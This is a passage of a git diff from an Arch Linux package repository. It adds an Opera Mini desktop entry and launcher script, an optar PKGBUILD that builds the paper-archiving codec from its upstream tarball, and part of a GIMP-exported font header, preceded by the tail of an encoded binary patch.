zCTuZIXz}^yu+oH}<7PyjV|g=<>ji@5W+zkXDaKA-1Mz%_KyY5iu@PkzVCH^NWV!l& z%h<9?Ua%P4;%+iiDX-^Fg_|`{Er3rt=?aI4yvw-N!LsTj9rr+Kd5Ejx-G1;o*!~^l zT|vuC1a_MW9~1kV-;c4>kQ@}H*+3#j{>$rvetM)%U9%%Tab&0f5IA2|#ir!Al+)wN z1%wPigN@ld%j2EJFL7O&NSfna_%=g}kHO7I*_C4pMjFM5;V-jatZb4HbfIxk4iGty zP@t~Zl5KgKwVQ4B5=7QSAEXjkYg0K5&JHf^K&P-mcF&O z>o&7)ew=86ws1#WqYsdyuHJt)Aa;=CubA0X&t{v?d;Azx65&9`6>kxae+BhRh{FL6 zLF`1gR2biHzeQ2<}^Ib&^hB1c9v7AEKE>17pD(OB;qRFuHiDYC`EzU!N=UhlYxe`D)mP<7S9 z_i7eTUoRsrx>TX7>FXp9aAhO65VOAwU3DE28r&tz0-_$XE#5z}Bg9AT)l@X+jKd@9$x2kr(Izyc{Yx{s79R{#lunbv@4|%I#)|FPK zM?0-~B)h@AU^X6CeTSf$dVEZ_q~~n5Q@g*1D#mPlnSYU`l)(uZvB@&r#QBP;AXfux zyjcL{eb*gMw>@Z%$`glufwrlmB%L698}_qRT9?U#JvQ#$|8SoA9dks8ZI8B(O zd76hrjfXPow`dSh?43T|_Q!>(N$q6tAb}dbPO{1M9y4fLB-TVX4U*S{STnruWd5=@ z-)bF5HS9M9E0kgZj-YR)m|j*3!p1%4Cp1~>rJvXisd!*<2rB6qZ#*)0m=*T&LJh*H87)iV{BzPYgk~YtFGrhsp7|jD@FZ-@`gP7k@66b){dA z#M9s~_7;*;WOoKUyY6uTk=ZJ*3fy`~6PK*NAcboi(B)`!2hWBG=gP>Z+2NAt&Yh5^ ztK+yAGd;K@LEd_#-XVJyCOk3^>$O&$fE6S#&XLRXtJ>;LP~ig&-g-)x7pGStpbZ8L z8+9wk3bbG^+&lc1VGwLre&gEyezyp}i=j;Eql@&``D10tk{na2oPnpu%SQ&@P$%w+kVErWpFD@n||G7u}t3iGF zeCJw7kN^NcvBZV=6uLonoSMz-UwqAWiVZP)#v34tx{O1(t+e#LV#;pR6`B!&Ix>Up9Fr zFQ2ZsFF!mpNzf?Kp^2Y@LYrTr2Y8WSX((uj#e+yf_wUI-MIV@)&XBZeGYnq?Qo6QL z(6P_^dI$|)VS~)dFgA_0c87O`h-3I}r^(-$&_%-7uI?NH*@elGB`1ttSK-^4D)n1$ z8!Uo_FWtEz+_*LDQW`b(*&Ex(#$r0)tQKaChsYS&zF+dQk6nFcm?y$s`RT)qAHI9E z1>jY{dn5ADXMBGTNZ9A925xZEyghLmY4Jqu%4xt_`A1&dsWpdzNA{y!cgz2BgRjJa zM|HO9x2=8x;b}=}N8=aW77^yIw`Rj_h08RXefs6h6ZyM=dr$aYeWd}j-fBdp?}CTR zbX;+FDxX2G?FsSXxR6FtIu7dM)KN$nOhsANmN4R&@?@Tpm&XjKZ>kF-s)Ybg)Lx-A zK66$MCnDUG(JFOODPF+J6Y(@G{^afDzR&1bs%TX#f932re1%w*{s__i(^&xG!ZJdY0y=(jk|3aH zU}#_f02ILTGumS(wS;>3^Lyfd2fX|x3jh%Kn{pLYJ=%65D{Dfwqmep3Wp95MhfP4Rb7gFgTu z@gEQj7|f^10D#XYjsM$|&jaZH{ea|i&Tp9j07wff^3#aRh|v8vk$=IqjBHMDKABhh zG!pH9VSjZj{=Z?;{4(Mq!U~GC(jxzTg}=rxN5+h!<`a4F+5XnWL;yhjKi2;Dp!eDT zdJ-x6bb)A)zk!;Q007;825qZb9btYNY0mg}O~ia40E2%9-Pm~;V}G*5`2P&It^x?) z|1)gjU^p}_N}tv*{9RLyG6=xvpEdnGW68hR{EJHOauC43^OyXcy}yTh{RiaS1_JnZ z@YjEX{wYA}KOnbu5P;KP;xPZ^rhlK=|08~N3i7XcUQQC?lOF&8`SX?V$(GT@r%wR> E2fKK;!vFvP literal 0 HcmV?d00001 diff --git a/opera-mini/opera-mini.desktop b/opera-mini/opera-mini.desktop new file mode 100644 index 0000000..f143a81 --- /dev/null +++ b/opera-mini/opera-mini.desktop @@ -0,0 +1,78 @@ +[Desktop Entry] +Encoding=UTF-8 +Type=Application +Name=opera-mini +Icon=opera +GenericName=Web Browser +GenericName[af]=Web Blaaier +GenericName[ar]=متصفح ويب +GenericName[az]=Veb Səyyahı +GenericName[bg]=Браузър +GenericName[bn]=ওয়েব বরাউজার +GenericName[br]=Furcher ar Gwiad +GenericName[bs]=WWW Preglednik +GenericName[ca]=Fullejador web +GenericName[cs]=WWW prohlížeč +GenericName[cy]=Porydd Gwe +GenericName[da]=Browser +GenericName[de]=Web-Browser +GenericName[el]=Περιηγητής Ιστού +GenericName[eo]=TTT-legilo +GenericName[es]=Navegador web +GenericName[et]=Veebilehitseja +GenericName[eu]=Web arakatzailea +GenericName[fa]=مرورگر وب +GenericName[fi]=WWW-selain +GenericName[fo]=Alnótsfar +GenericName[fr]=Navigateur web +GenericName[gl]=Navegador Web +GenericName[he]=דפדפן אינטרנט +GenericName[hi]=वब बराउजर +GenericName[hr]=Web preglednik +GenericName[hu]=Webböngésző +GenericName[is]=Vafri +GenericName[it]=Browser Web +GenericName[ja]=ウェブブラウザ +GenericName[ko]=웹 브라우저 +GenericName[lo]=ເວບບຣາວເຊ +GenericName[lt]=Žiniatinklio naršyklė +GenericName[lv]=Web Pārlūks +GenericName[mk]=Прелистувач на Интернет +GenericName[mn]=Веб-Хөтөч +GenericName[nb]=Nettleser +GenericName[nds]=Nettkieker +GenericName[nl]=Webbrowser +GenericName[nn]=Nettlesar +GenericName[nso]=Seinyakisi sa Web +GenericName[pa]=ਵਬ ਝਲਕਾਰਾ +GenericName[pl]=Przeglądarka WWW +GenericName[pt]=Navegador Web +GenericName[pt_BR]=Navegador Web +GenericName[ro]=Navigator de web +GenericName[ru]=Веб-браузер +GenericName[se]=Fierpmádatlogan +GenericName[sk]=Webový prehliadač +GenericName[sl]=Spletni brskalnik +GenericName[sr]=Веб претраживач +GenericName[sr@Latn]=Veb pretraživač +GenericName[ss]=Ibrawuza yeWeb +GenericName[sv]=Webbläsare +GenericName[ta]=வலை உலாவி +GenericName[tg]=Тафсиргари вэб +GenericName[th]=เวบบราวเซอร +GenericName[tr]=Web Tarayıcı +GenericName[uk]=Навігатор Тенет +GenericName[uz]=Веб-браузер +GenericName[ven]=Buronza ya Webu +GenericName[vi]=Trình duyệt Web +GenericName[wa]=Betchteu waibe +GenericName[xh]=Umkhangeli zincwadi we Web +GenericName[zh_CN]=网页浏览器 +GenericName[zh_TW]=網頁瀏覽器 +GenericName[zu]=Umcingi we-Web +Comment=Opera J2ME Edition +TryExec=/usr/bin/opera-mini +Exec=opera-mini +Categories=Application;Network; +StartupNotify=false +MimeType=text/html diff --git a/opera-mini/opera-mini.launcher b/opera-mini/opera-mini.launcher new file mode 100644 index 0000000..dd39c83 --- /dev/null +++ b/opera-mini/opera-mini.launcher @@ -0,0 +1,6 @@ +#!/bin/sh + +cd /usr/share/java/microemulator/ +java -jar microemulator.jar apps/opera-mini-latest-advanced-111language111.jad "$@" +exit $? + diff --git a/optar/PKGBUILD b/optar/PKGBUILD new file mode 100644 index 0000000..df3d4d9 --- /dev/null +++ b/optar/PKGBUILD @@ -0,0 +1,42 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=optar +pkgver=1 +pkgrel=3 +pkgdesc="OPTical ARchiver - Codec for encoding data on paper or free software 2D barcode in other words. Optar fits 200kB on an A4 page, then you print it with a laser printer. PaperBack alternative for Linux." +url="http://ronja.twibright.com/optar/" +license="GPL" +arch=('i686' 'x86_64') +depends=('imagemagick' 'libpng') +source=( + "http://ronja.twibright.com/optar.tgz" + "optar.300dpi.h" #low res patch for better readability +) +md5sums=( + '564656055fca65cb0fdbce02a4c10a57' + '0423fdc1db348e6e3a9107add799086f' +) + +build() { + #Make + cd ${srcdir}/${pkgname}_dist/ || return 1 + cp -f optar.h optar.600dpi.h #backup + mv -f ${srcdir}/optar.300dpi.h optar.h #comment this line for full resolution + make clean || return 1 + make || return 1 + + #Install + mkdir -p ${pkgdir}/usr/bin/ + cp -f optar ${pkgdir}/usr/bin/ + cp -f unoptar ${pkgdir}/usr/bin/ + cp -f pgm2ps ${pkgdir}/usr/bin/ + + mkdir -p ${pkgdir}/usr/share/doc/optar/ + cp -f README ${pkgdir}/usr/share/doc/optar/ + cp -f COPYING ${pkgdir}/usr/share/doc/optar/ + + #Rights + chmod -R 755 ${pkgdir}/usr/bin +} diff --git a/optar/font.h b/optar/font.h new file mode 100644 index 0000000..49e0b7a --- /dev/null +++ b/optar/font.h @@ -0,0 +1,2529 @@ +/* GIMP header image file format (INDEXED): /var/www/htdocs/ronja/trunk/grx/optar/font.h */ + +static unsigned int width = 1500; +static unsigned int height = 24; + +/* Call this macro repeatedly. After each use, the pixel data can be extracted */ + +#define HEADER_PIXEL(data,pixel) {\ + pixel[0] = header_data_cmap[(unsigned char)data[0]][0]; \ + pixel[1] = header_data_cmap[(unsigned char)data[0]][1]; \ + pixel[2] = header_data_cmap[(unsigned char)data[0]][2]; \ + data ++; } + +static char header_data_cmap[256][3] = { + { 0, 0, 0}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255}, + {255,255,255} + }; +static char header_data[] = { + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 